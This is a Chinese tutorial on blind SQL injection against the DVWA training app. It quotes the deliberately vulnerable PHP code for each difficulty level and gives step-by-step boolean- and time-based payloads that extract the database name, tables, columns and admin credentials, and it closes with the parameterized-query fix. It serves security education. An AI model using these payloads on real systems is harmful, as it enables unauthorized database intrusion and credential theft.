dvwa sql盲注教程
原文地址:https://www.jianshu.com/p/757626cec742
一、DVWA-SQL Injection(Blind)測試分析
SQL盲注 VS 普通SQL注入:
普通SQL注入 | SQL盲注 |
---|---|
1.執行SQL注入攻擊時,伺服器會響應來自資料庫伺服器的錯誤資訊,資訊提示SQL語法不正確等 2.一般在頁面上直接就會顯示執行sql語句的結果 |
1.一般情況,執行SQL盲注,伺服器不會直接返回具體的資料庫錯誤or語法錯誤,而是會返回程式開發所設定的特定資訊(也有特例,如基於報錯的盲注) 2.一般在頁面上不會直接顯示sql執行的結果 3.有可能出現不確定sql是否執行的情況 |
根據頁面不同的響應方式,SQL盲注分為:基於布林的盲注、基於時間的盲注、基於報錯的盲注。
SQL盲注-測試思路
- 對於基於布林的盲注,可通過構造真or假判斷條件(資料庫各項資訊取值的大小比較,如:欄位長度、版本數值、欄位名、欄位名各組成部分在不同位置對應的字元ASCII碼...),將構造的sql語句提交到伺服器,然後根據伺服器對不同的請求返回不同的頁面結果(True、False);然後不斷調整判斷條件中的數值以逼近真實值,特別是需要關注響應從True<-->False發生變化的轉折點。
- 對於基於時間的盲注,通過構造真or假判斷條件的sql語句,且sql語句中根據需要聯合使用sleep()函式一同向伺服器傳送請求,觀察伺服器響應結果是否會執行所設定時間的延遲響應,以此來判斷所構造條件的真or假(若執行sleep延遲,則表示當前設定的判斷條件為真);然後不斷調整判斷條件中的數值以逼近真實值,最終確定具體的數值大小or名稱拼寫。
- 對於基於報錯的盲注,搜尋檢視網上部分Blog,基本是在rand()函式作為group by的欄位進行聯用的時候會違反Mysql的約定而報錯。rand()隨機不確定性,使得group by會使用多次而報錯。
目前階段暫未對基於報錯型別的盲注深入瞭解過,若可能後續再作補充分析。
SQL盲注-測試流程
同樣的,和之前DVWA的普通SQL Injection操作流程類似,大致測試流程如下:
1.判斷是否存在注入,注入的型別
2.猜解當前資料庫名稱
3.猜解資料庫中的表名
4.猜解表中的欄位名
5.獲取表中的欄位值
6.驗證欄位值的有效性
7.獲取資料庫的其他資訊:版本、使用者...
二、全等級SQL Injection(Blind)測試
全等級SQL Injection(Blind)對比:
Level | Description |
---|---|
Low | 1.文字框輸入並提交的形式,GET請求方式 2.未作任何輸入過濾和限制,攻擊者可任意構造所想輸入的sql查詢 |
Medium | 1.下拉列表選擇數字ID並提交的形式,限制使用者在客戶端的輸入,POST請求方式 2.利用mysql_real_escape_string()函式對特殊符號(如:單引號 ' 、雙引號" 、反斜槓\ ...)進行轉義處理 |
High | 1.將資料提交頁面和結果顯示介面實行分離在兩個不同頁面,一定程度上可約束SQLMap自動化工具的常規方式掃描(沒法完全阻擋) 2.在提交頁面,利用set-cookie對輸入的ID值進行傳遞到顯示頁面的cookie欄位中儲存 3.在sql語句中新增LIMIT1,以此限定每次輸出的結果只有1個記錄,不會輸出所有記錄 |
Impossible | 1.採用了PDO技術,劃清了程式碼與資料的界限,有效防禦SQL注入,Anti-CSRF token機制的加入了進一步提高了安全性 2.採用引數化查詢,而非動態查詢 3.對程式碼和資料實現分離處理 |
【A】Level: Low
服務端程式碼:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
1.判斷是否存在注入,注入的型別
不管輸入框輸入為何內容,頁面上只會返回以下2種情形的提示:
滿足查詢條件則返回"User ID exists in the database.",不滿足查詢條件則返回"User ID is MISSING from the database.";兩者返回的內容隨所構造的真假條件而不同,說明存在SQL盲注。
構造User ID取值的語句 | 輸出結果 | |
---|---|---|
① | 1 | exists |
② | ' | MISSING |
③ | 1 and 1=1 # | exists |
④ | 1 and 1=2 # | exists |
⑤ | 1' and 1=1 # | exists |
⑥ | 1' and 1=2 # | MISSING |
由語句⑤和⑥構造真假條件返回對應不同的結果,可知存在字元型的SQL盲注漏洞
2.猜解當前資料庫名稱
資料庫名稱的屬性:字元長度、字元組成的元素(字母/數字/下劃線/...)&元素的位置(首位/第2位/.../末位)
1)判斷資料庫名稱的長度(二分法思維)
輸入 | 輸出 |
---|---|
1' and length(database())>10 # | MISSING |
1' and length(database())>5 # | MISSING |
1' and length(database())>3 # | exists |
1' and length(database())=4 # | exists |
==>當前所連線資料庫名稱的長度=4
2)判斷資料庫名稱的字元組成元素
此時利用substr()函式從給定的字串中,從指定位置開始擷取指定長度的字串,分離出資料庫名稱的每個位置的元素,並分別將其轉換為ASCII碼,與對應的ASCII碼值比較大小,找到比值相同時的字元,然後各個擊破。
mysql資料庫中的字串函式 substr()函式和hibernate的substr()引數都一樣,但含義有所不同。
用法:
substr(string string,num start,num length);
string為字串;
start為起始位置;
length為長度。
區別:
mysql中的start是從1開始的,而hibernate中的start是從0開始的。
在構造語句比較之前,先查詢以下字元的ASCII碼的十進位制數值作為參考:
字元 | ASCII碼-10進位制 | 字元 | ASCII碼-10進位制 | |
---|---|---|---|---|
a | 97 | ==> | z | 122 |
A | 65 | ==> | Z | 90 |
0 | 48 | ==> | 9 | 57 |
_ | 95 | @ | 64 |
以上常規可能用到的字元的ASCII碼取值範圍:[48,122]
當然也可以擴大範圍,在ASCII碼所有字元的取值範圍中篩選:[0,127]
輸入 | 輸出 |
---|---|
1' and ascii(substr(database(),1,1))>88 # | exists |
1' and ascii(substr(database(),1,1))>105 # | MISSING |
1' and ascii(substr(database(),1,1))>96 # | exists |
1' and ascii(substr(database(),1,1))>100 # | MISSING |
1' and ascii(substr(database(),1,1))>98 # | exists |
1' and ascii(substr(database(),1,1))=99 # | MISSING |
1' and ascii(substr(database(),1,1))=100 # | exists |
==>資料庫名稱的首位字元對應的ASCII碼為100,查詢是字母 d
類似以上操作,分別猜解第2/3/4位元素的字元:
1' and ascii(substr(database(),2,1))>88 #
...==>第2位字元為 v
1' and ascii(substr(database(),3,1))>88 #
...==>第3位字元為 w
1' and ascii(substr(database(),4,1))>88 #
...==>第4位字元為 a
從而,獲取到當前連線資料庫的名稱為:dvwa
3.猜解資料庫中的表名
資料表屬性:指定資料庫下表的個數、每個表的名稱(表名長度,表名組成元素)
對於Mysql,DBMS資料庫管理系統--->information_schema庫--->tables表--->table_schema,table_name,table_rows,...欄位。其結構如下所示:
1)猜解表的個數
輸入 | 輸出 |
---|---|
1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 # | MISSING |
1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # | MISSING |
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 # | MISSING |
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # | exists |
==> dvwa資料庫中表的個數=2
2)猜解表名
- 表名稱的長度
# 1.查詢列出當前連線資料庫下的所有表名稱
select table_name from information_schema.tables where table_schema=database()
# 2.列出當前連線資料庫中的第1個表名稱
select table_name from information_schema.tables where table_schema=database() limit 0,1
# 3.以當前連線資料庫第1個表的名稱作為字串,從該字串的第一個字元開始擷取其全部字元
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)
# 4.計算所擷取當前連線資料庫第1個表名稱作為字串的長度值
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))
# 5.將當前連線資料庫第1個表名稱長度與某個值比較作為判斷條件,聯合and邏輯構造特定的sql語句進行查詢,根據查詢返回結果猜解表名稱的長度值
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #
輸入 | 輸出 |
---|---|
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 # | MISSING |
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 # | exists |
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 # | exists |
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # | exists |
==> dvwa資料庫中第1個表的名稱字元長度=9
- 表名稱的字元組成
依次取出dvwa資料庫第1個表的第1/2/.../9個字元分別猜解:
輸入 | 輸出 |
---|---|
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 # | exists |
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>105 # | MISSING |
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>96 # | exists |
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 # | exists |
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # | MISSING |
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102 # | MISSING |
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # | exists |
==> dvwa資料庫第1個表的第1個字元的ASCII碼=103,對應的字元為g
...
==> 依次猜解出其他位置的字元分別為:u、e、s、t、b、o、o、k
==> 從而dvwa資料庫第1個表的名稱為:guestbook
以
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>88 #
...
猜解出dvwa資料庫第2個表的名稱為:users
4.猜解表中的欄位名
表中的欄位名屬性:表中的欄位數目、某個欄位名的字元長度、欄位的字元組成及位置;某個欄位名全名匹配
以[dvwa庫-users表]為例:
1)猜解users表中的欄位數目
# 判斷[dvwa庫-users表]中的欄位數目
(select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=xxx
# 判斷在[dvwa庫-users表]中是否存在某個欄位(調整column_name取值進行嘗試匹配)
(select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='xxx')=1
# 猜解第i+1個欄位的字元長度
length(substr((select column_name from information_shchema.columns limit $i$,1),1))=xxx
# 猜解第i+1個欄位的字元組成,j代表組成字元的位置(從左至右第1/2/...號位)
ascii(substr((select column_name from information_schema.columns limit $i$,1),$j$,1))=xxx
輸入 | 輸出 |
---|---|
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>10 # | MISSING |
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>5 # | exists |
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>8 # | MISSING |
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # | exists |
==>dvwa庫的users表中有8個欄位
2)猜解users表中的各個欄位的名稱
按照常規流程,從users表的第1個欄位開始,對其猜解每一個組成字元,獲取到完整的第1個欄位名稱...然後是第2/3/.../8個欄位名稱。
當欄位數目較多、名稱較長的時候,若依然按照以上方式手工猜解,則會耗費比較多的時間。當時間有限的情況下,實際上有的欄位可能並不太需要獲取,欄位的位置也暫且不作太多關注,首先獲取幾個包含關鍵資訊的欄位,如:使用者名稱、密碼...
【猜想】資料庫中可能儲存的欄位名稱
使用者名稱:username/user_name/uname/u_name/user/name/...
密碼:password/pass_word/pwd/pass/...
輸入 | 輸出 |
---|---|
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1 # | MISSING |
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user_name')=1 # | MISSING |
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='uname')=1 # | MISSING |
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='u_name')=1 # | MISSING |
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 # | exists |
==>users表中存在欄位user
輸入 | 輸出 |
---|---|
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 # | exists |
==>users表中存在欄位password
5.獲取表中的欄位值
1)使用者名稱的欄位值
輸入 | 輸出 |
---|---|
1' and length(substr((select user from users limit 0,1),1))>10 # | MISSING |
1' and length(substr((select user from users limit 0,1),1))>5 # | MISSING |
1' and length(substr((select user from users limit 0,1),1))>3 # | MISSING |
1' and length(substr((select user from users limit 0,1),1))=4 # | MISSING |
1' and length(substr((select user from users limit 0,1),1))=5 # | exists |
==>user欄位中第1個欄位值的字元長度=5
2)密碼的欄位值
輸入 | 輸出 |
---|---|
1' and length(substr((select password from users limit 0,1),1))>10 # | exists |
1' and length(substr((select password from users limit 0,1),1))>20 # | exists |
1' and length(substr((select password from users limit 0,1),1))>40 # | MISSING |
1' and length(substr((select password from users limit 0,1),1))>30 # | exists |
1' and length(substr((select password from users limit 0,1),1))>35 # | MISSING |
1' and length(substr((select password from users limit 0,1),1))>33 # | MISSING |
1' and length(substr((select password from users limit 0,1),1))=32 # | exists |
==>password欄位中第1個欄位值的字元長度=32
猜測這麼長的密碼位數,可能是用來md5的加密方式儲存,通過手工猜解每位數要花費的時間更久了。
- 方式①:用二分法依次猜解user/password欄位中每組欄位值的每個字元組成
user欄位-第1組取值 | password欄位- 第1組取值 | |
---|---|---|
第1個字元 | 1' and ascii(substr((select user from users limit 0,1),1,1))=xxx # | 1' and ascii(substr((select password from users limit 0,1),1,1))=xxx # |
第2個字元 | 1' and ascii(substr((select user from users limit 0,1),2,1))=xxx # | 1' and ascii(substr((select password from users limit 0,1),2,1))=xxx # |
...... | ...... | ...... |
第個字元 | 1' and ascii(substr((select user from users limit 0,1),,1))=xxx # | 1' and ascii(substr((select password from users limit 0,1),,1))=xxx # |
user欄位-第2組取值 | password欄位- 第2組取值 |
|
第1個字元 | 1' and ascii(substr((select user from users limit 1,1),1,1))=xxx # | 1' and ascii(substr((select password from users limit 1,1),1,1))=xxx # |
第2個字元 | 1' and ascii(substr((select user from users limit 1,1),2,1))=xxx # | 1' and ascii(substr((select password from users limit 1,1),2,1))=xxx # |
...... | ...... | ...... |
user欄位-第組取值 | password欄位- 第組取值 |
|
第1個字元 | 1' and ascii(substr((select user from users limit -1,1),1,1))=xxx # | 1' and ascii(substr((select password from users limit -1,1),1,1))=xxx # |
第2個字元 | 1' and ascii(substr((select user from users limit -1,1),2,1))=xxx # | 1' and ascii(substr((select password from users limit -1,1),2,1))=xxx # |
...... | ...... | ...... |
第個字元 | 1' and ascii(substr((select user from users limit -1,1),,1))=xxx # | 1' and ascii(substr((select password from users limit -1,1),,1))=xxx # |
- 方式②:利用日常積累經驗猜測+運氣,去碰撞完整欄位值的全名
user | password | md5($password) |
---|---|---|
admin | password | 5f4dcc3b5aa765d61d8327deb882cf99 |
admin123 | 123456 | e10adc3949ba59abbe56e057f20f883e |
admin111 | 12345678 | 25d55ad283aa400af464c76d713c07ad |
root | root | 63a9f0ea7bb98050796b649e85481845 |
sa | sa123456 | 58d65bdd8944dc8375c30b2ba10ae699 |
...... | ...... | ...... |
輸入 | 輸出 |
---|---|
1' and substr((select user from users limit 0,1),1)='admin' # 1' and (select count(*) from users where user='admin')=1 # |
exists |
1' and (select count(*) from users where user='admin123')=1 # | MISSING |
1' and (select count(*) from users where user='root')=1 # | MISSING |
==>user欄位的第1組取值為admin | |
1' and (select count(*) from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1 # | exists |
1' and (select count(*) from users where user='admin' and password='e10adc3949ba59abbe56e057f20f883e')=1 # | MISSING |
==>user---password欄位的第1組取值:admin---password |
方式①的猜解準確率和全面性較高,但是手工猜解花費的時間比較長;方式②猜解效率可能稍快一些,手工猜解的命中率較低,如果使用者名稱or密碼字典資料較少,可能會漏掉資料沒有猜解出來,不確定性較多。實際猜解過程中,可以結合兩種方法一起來嘗試,互相補充。
6.驗證欄位值的有效性
將以上admin--password填寫到前臺登入介面的兩個輸入框中,嘗試登入是否成功
PS:
以上猜解的方法,除了利用基於布林的盲注方式,還可以利用基於時間延遲的盲注進行操作。此時,需要結合if函式和sleep()函式來測試不同判斷條件導致的延遲效果差異,如:1' and if(length(database())>10,sleep(5),1) #
if條件中即資料庫的庫、表、欄位、欄位值的獲取和數值大小比較,若伺服器響應時執行了sleep()函式,則判斷if中的條件為真,否則為假。
【B】Level: Medium
服務端程式碼:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
此時,既然不能直接在前端介面中輸入所構造的資料進行提交,需要藉助攔截工具進行抓包、改包、重放惡意構造的資料,是時候讓我們的Burp神器出場了。
(Firefox最新版61.x的瀏覽器中,F12鍵在訊息頭中可以使用編輯和重發功能,不過操作起來可能還是沒有Burp直觀方便)
判斷是否存在注入,注入的型別
雖然前端介面上只能通過下拉列表選擇數字,提交後查詢顯示的都是"exists",但是抓包工具修改資料重放之後是可以在工具中觀察到響應資料有"MISSING"和"exists"兩種返回結果的,如下:
輸入 | 輸出 | |
---|---|---|
① | 1 | exists |
② | ' | MISSING |
③ | 1 and 1=1 # | exists |
④ | 1 and 1=2 # | MISSING |
⑤ | 1' and 1=1 # | MISSING |
⑥ | 1' and 1=2 # | MISSING |
由③和④構造真假條件返回對應不同的結果,可知存在數字型的SQL盲注漏洞
猜解當前連線資料庫的名稱
對於 if(判斷條件,sleep(n),1) 函式而言,若判斷條件為真,則執行sleep(n)函式,達到在正常響應時間的基礎上再延遲響應時間n秒的效果;若判斷條件為假,則返回設定的1(真),此時不會執行sleep(n)函式
輸入 | 輸出(Response Time) |
---|---|
1 and if(length(database())=4,sleep(2),1) # | 2031 ms |
1 and if(length(database())=5,sleep(2),1) # | 26 ms |
1 and if(length(database())>10,sleep(2),1) # | 30 ms |
==>以上根據響應時間的差異,可知當前連線資料庫名稱的字元長度=4,此時確實執行了sleep(2)函式,使得響應時間比正常響應延遲2s(2000ms)
輸入 | 輸出 |
---|---|
1 and if(ascii(substr(database(),1,1))>88,sleep(2),1) # | 2049 ms |
1 and if(ascii(substr(database(),1,1))>105,sleep(2),1) # | 19 ms |
1 and if(ascii(substr(database(),1,1))>96,sleep(2),1) # | 2037 ms |
1 and if(ascii(substr(database(),1,1))>101,sleep(2),1) # | 46 ms |
1 and if(ascii(substr(database(),1,1))>99,sleep(2),1) # | 2027 ms |
1 and if(ascii(substr(database(),1,1))=101,sleep(2),1) # | 27 ms |
1 and if(ascii(substr(database(),1,1))=100,sleep(2),1) # | 2020 ms |
==>當前連線資料庫的名稱的第1個字元的ASCII碼為100,對應字母d
......
後續過程與Low級別時類似,在此略過。Medium級別需要在攔截工具中操作編輯資料進行提交,還有因對特殊符號進行了轉義處理,所以對於帶有引號包含字串的欄位值,可以轉換成16進位制的形式進行繞過限制,從而提交到資料庫進行查詢
如:猜解表中的欄位名時,猜解欄位名的長度(對欄位值users
進行16進位制轉換為0x7573657273
)
Low級別 | Medium級別 |
---|---|
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # | 1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8 # --------------------------------------------------------- 1 and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8,sleep(2),1) # |
【C】Level: High
服務端程式碼:
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
對於LIMIT 1的限制輸出記錄數目,可以利用#
註釋其限制;服務端可能會隨機執行sleep()函式,做執行,則延遲的時間是隨機在2-4s,這樣會對正常的基於時間延遲的盲注測試造成干擾。因此可以考慮用基於布林的盲注進行測試:
【D】Level: Impossible
服務端程式碼:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible級別的SQL Injection(Blind):
- impossible.php程式碼採用了PDO技術,劃清了程式碼與資料的界限,有效防禦SQL注入
- 只有當返回的查詢結果數量為一個記錄時,才會成功輸出,這樣就有效預防了暴庫
- 利用is_numeric($id)函式來判斷輸入的id是否是數字or數字字串,滿足條件才知曉query查詢語句
- Anti-CSRF token機制的加入了進一步提高了安全性,session_token是隨機生成的動態值,每次向伺服器請求,客戶端都會攜帶最新從服務端已下發的session_token值向伺服器請求作匹配驗證,相互匹配才會驗證通過